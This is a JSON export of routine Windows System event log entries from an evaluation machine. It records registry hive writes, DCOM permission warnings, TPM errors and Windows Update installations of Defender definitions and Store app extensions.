{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:33.790063Z"}},"EventRecordID":2942,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":102,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-DistributedCOM","Guid":"{1B562E86-B7AA-4131-BADC-B6F3A001407E}","EventSourceName":"DCOM"}},"EventID":{"#attributes":{"Qualifiers":0},"#text":10016},"Version":0,"Level":3,"Task":0,"Opcode":0,"Keywords":"0x8080000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:03:08.501739Z"}},"EventRecordID":2943,"Correlation":null,"Execution":{"#attributes":{"ProcessID":512,"ThreadID":8060}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"param1":"application-specific","param2":"Local","param3":"Launch","param4":"Windows.SecurityCenter.WscBrokerManager","param5":"Unavailable","param6":"NT AUTHORITY","param7":"SYSTEM","param8":"S-1-5-18","param9":"LocalHost (Using LRPC)","param10":"Unavailable","param11":"Unavailable"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-DistributedCOM","Guid":"{1B562E86-B7AA-4131-BADC-B6F3A001407E}","EventSourceName":"DCOM"}},"EventID":{"#attributes":{"Qualifiers":0},"#text":10016},"Version":0,"Level":3,"Task":0,"Opcode":0,"Keywords":"0x8080000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:03:08.501739Z"}},"EventRecordID":2944,"Correlation":null,"Execution":{"#attributes":{"ProcessID":512,"ThreadID":7212}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"param1":"application-specific","param2":"Local","param3":"Launch","param4":"Windows.SecurityCenter.SecurityAppBroker","param5":"Unavailable","param6":"NT AUTHORITY","param7":"SYSTEM","param8":"S-1-5-18","param9":"LocalHost (Using LRPC)","param10":"Unavailable","param11":"Unavailable"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":43,"Version":1,"Level":4,"Task":1,"Opcode":13,"Keywords":"0x8000000000002008","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:00.246063Z"}},"EventRecordID":2945,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":8532}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"Security Intelligence Update for Microsoft Defender Antivirus - KB2267602 (Version 1.421.1175.0) - Current Channel (Broad)","updateGuid":"ADF9EA27-820E-4C28-9E3A-0A3DA00FFB27","updateRevisionNumber":200}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":19,"Version":1,"Level":4,"Task":1,"Opcode":13,"Keywords":"0x8000000000000018","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:14.096413Z"}},"EventRecordID":2946,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":8532}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"Security Intelligence Update for Microsoft Defender Antivirus - KB2267602 (Version 1.421.1175.0) - Current Channel (Broad)","updateGuid":"ADF9EA27-820E-4C28-9E3A-0A3DA00FFB27","updateRevisionNumber":200,"serviceGuid":"9482F4B4-E343-43B6-B170-9A65BC822C77"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.674543Z"}},"EventRecordID":2947,"Correlation":null,"Execution":{"#attributes":{"ProcessID":8424,"ThreadID":8868}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-20"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.675813Z"}},"EventRecordID":2948,"Correlation":null,"Execution":{"#attributes":{"ProcessID":8424,"ThreadID":8868}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:37.377352Z"}},"EventRecordID":2949,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4724,"ThreadID":10156}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":104,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":15,"Version":0,"Level":4,"Task":10,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:37.975382Z"}},"EventRecordID":2950,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2328,"ThreadID":4916}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":41,"HiveName":"\\??\\C:\\Windows\\System32\\config\\COMPONENTS","OriginalSize":54128640,"NewSize":33218560}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":44,"Version":1,"Level":4,"Task":1,"Opcode":12,"Keywords":"0x8000000000002004","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:06.752214Z"}},"EventRecordID":2951,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":5048}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9WZDNCRDTBJJ-MICROSOFT.GETSTARTED","updateGuid":"9E6B27FE-F60B-44B4-8488-7F292F7C693D","updateRevisionNumber":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":44,"Version":1,"Level":4,"Task":1,"Opcode":12,"Keywords":"0x8000000000002004","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:06.752216Z"}},"EventRecordID":2952,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":5048}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9N5TDP8VCMHS-Microsoft.WebMediaExtensions","updateGuid":"5319D8AB-5FD7-468E-B80D-9B78F53657B1","updateRevisionNumber":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":44,"Version":1,"Level":4,"Task":1,"Opcode":12,"Keywords":"0x8000000000002004","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:06.752216Z"}},"EventRecordID":2953,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":5048}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9PG2DK419DRG-Microsoft.WebpImageExtension","updateGuid":"0D5A662D-006C-4DB0-9C9C-A6182CEF3EB1","updateRevisionNumber":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:11.237540Z"}},"EventRecordID":2954,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4276}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":138,"HiveName":"\\??\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WebMediaExtensions_1.1.1295.0_x64__8wekyb3d8bbwe\\ActivationStore.dat","KeysUpdated":0,"DirtyPages":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":43,"Version":1,"Level":4,"Task":1,"Opcode":13,"Keywords":"0x8000000000002008","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:11.994590Z"}},"EventRecordID":2955,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":8828}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9N5TDP8VCMHS-Microsoft.WebMediaExtensions","updateGuid":"5319D8AB-5FD7-468E-B80D-9B78F53657B1","updateRevisionNumber":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:12.277449Z"}},"EventRecordID":2956,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4276}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":105,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.WebMediaExtensions_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":19,"Version":1,"Level":4,"Task":1,"Opcode":13,"Keywords":"0x8000000000000018","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:12.684519Z"}},"EventRecordID":2957,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0000-7A63-C3A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":8828}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9N5TDP8VCMHS-Microsoft.WebMediaExtensions","updateGuid":"5319D8AB-5FD7-468E-B80D-9B78F53657B1","updateRevisionNumber":1,"serviceGuid":"855E8A7C-ECB4-4CA3-B045-1DFA50104289"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":43,"Version":1,"Level":4,"Task":1,"Opcode":13,"Keywords":"0x8000000000002008","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:12.686759Z"}},"EventRecordID":2958,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":3796}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9PG2DK419DRG-Microsoft.WebpImageExtension","updateGuid":"0D5A662D-006C-4DB0-9C9C-A6182CEF3EB1","updateRevisionNumber":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":19,"Version":1,"Level":4,"Task":1,"Opcode":13,"Keywords":"0x8000000000000018","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:13.154023Z"}},"EventRecordID":2959,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0003-503B-C3A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":3796}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9PG2DK419DRG-Microsoft.WebpImageExtension","updateGuid":"0D5A662D-006C-4DB0-9C9C-A6182CEF3EB1","updateRevisionNumber":1,"serviceGuid":"855E8A7C-ECB4-4CA3-B045-1DFA50104289"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:14.037115Z"}},"EventRecordID":2960,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":131,"HiveName":"\\??\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_10.2312.1.0_x64__8wekyb3d8bbwe\\ActivationStore.dat","KeysUpdated":0,"DirtyPages":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":44,"Version":1,"Level":4,"Task":1,"Opcode":12,"Keywords":"0x8000000000002004","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:14.611416Z"}},"EventRecordID":2961,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":5048}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9N4WGH0Z6VHQ-Microsoft.HEVCVideoExtension","updateGuid":"467A6704-4B8F-42BE-9290-9A05BF1665BA","updateRevisionNumber":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":44,"Version":1,"Level":4,"Task":1,"Opcode":12,"Keywords":"0x8000000000002004","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:14.611417Z"}},"EventRecordID":2962,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":5048}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9PB1QWVW0R95-Microsoft.WindowsAppRuntime.1.4","updateGuid":"95A66AB5-9220-40F7-8EEE-10325AA7534A","updateRevisionNumber":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":43,"Version":1,"Level":4,"Task":1,"Opcode":13,"Keywords":"0x8000000000002008","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:15.955289Z"}},"EventRecordID":2963,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":2916}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9WZDNCRDTBJJ-MICROSOFT.GETSTARTED","updateGuid":"9E6B27FE-F60B-44B4-8488-7F292F7C693D","updateRevisionNumber":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:16.320711Z"}},"EventRecordID":2964,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4276}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":97,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":19,"Version":1,"Level":4,"Task":1,"Opcode":13,"Keywords":"0x8000000000000018","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:16.827441Z"}},"EventRecordID":2965,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0000-857B-C3A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":2916}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9WZDNCRDTBJJ-MICROSOFT.GETSTARTED","updateGuid":"9E6B27FE-F60B-44B4-8488-7F292F7C693D","updateRevisionNumber":1,"serviceGuid":"855E8A7C-ECB4-4CA3-B045-1DFA50104289"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:22.748567Z"}},"EventRecordID":2966,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4280}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":147,"HiveName":"\\??\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAppRuntime.1.4_4000.1309.2056.0_x64__8wekyb3d8bbwe\\ActivationStore.dat","KeysUpdated":0,"DirtyPages":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":44,"Version":1,"Level":4,"Task":1,"Opcode":12,"Keywords":"0x8000000000002004","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:25.196535Z"}},"EventRecordID":2967,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":5048}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9NCTDW2W1BH8-Microsoft.RawImageExtension","updateGuid":"0205D775-BAF7-4319-89BE-834A67AA709A","updateRevisionNumber":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":43,"Version":1,"Level":4,"Task":1,"Opcode":13,"Keywords":"0x8000000000002008","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:25.482570Z"}},"EventRecordID":2968,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":5872}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9N4WGH0Z6VHQ-Microsoft.HEVCVideoExtension","updateGuid":"467A6704-4B8F-42BE-9290-9A05BF1665BA","updateRevisionNumber":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:30.266934Z"}},"EventRecordID":2969,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4280}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":147,"HiveName":"\\??\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAppRuntime.1.4_4000.1309.2056.0_x86__8wekyb3d8bbwe\\ActivationStore.dat","KeysUpdated":0,"DirtyPages":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":44,"Version":1,"Level":4,"Task":1,"Opcode":12,"Keywords":"0x8000000000002004","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:31.175265Z"}},"EventRecordID":2970,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0002-0963-C3A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":5872}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9PKDZBMV1H3T-Microsoft.GetHelp","updateGuid":"0D3A7753-0583-485B-BFF6-989A4837D059","updateRevisionNumber":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":19,"Version":1,"Level":4,"Task":1,"Opcode":13,"Keywords":"0x8000000000000018","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:31.175267Z"}},"EventRecordID":2971,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0002-0963-C3A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":5872}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9N4WGH0Z6VHQ-Microsoft.HEVCVideoExtension","updateGuid":"467A6704-4B8F-42BE-9290-9A05BF1665BA","updateRevisionNumber":1,"serviceGuid":"855E8A7C-ECB4-4CA3-B045-1DFA50104289"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":44,"Version":1,"Level":4,"Task":1,"Opcode":12,"Keywords":"0x8000000000002004","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:33.955625Z"}},"EventRecordID":2972,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":5048}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9PMMSR1CGPWG-Microsoft.HEIFImageExtension","updateGuid":"AF84AB07-3C9B-4EEC-992F-D5281445DA6E","updateRevisionNumber":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":43,"Version":1,"Level":4,"Task":1,"Opcode":13,"Keywords":"0x8000000000002008","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:33.959855Z"}},"EventRecordID":2973,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":9076}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9NCTDW2W1BH8-Microsoft.RawImageExtension","updateGuid":"0205D775-BAF7-4319-89BE-834A67AA709A","updateRevisionNumber":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":19,"Version":1,"Level":4,"Task":1,"Opcode":13,"Keywords":"0x8000000000000018","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:34.501049Z"}},"EventRecordID":2974,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0002-2669-C3A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":9076}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9NCTDW2W1BH8-Microsoft.RawImageExtension","updateGuid":"0205D775-BAF7-4319-89BE-834A67AA709A","updateRevisionNumber":1,"serviceGuid":"855E8A7C-ECB4-4CA3-B045-1DFA50104289"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":44,"Version":1,"Level":4,"Task":1,"Opcode":12,"Keywords":"0x8000000000002004","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:38.072922Z"}},"EventRecordID":2975,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":5048}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"9NBLGGH4NNS1-Microsoft.DesktopAppInstaller","updateGuid":"3E695059-10D9-46E1-8684-4407B6814DC5","updateRevisionNumber":1}}}
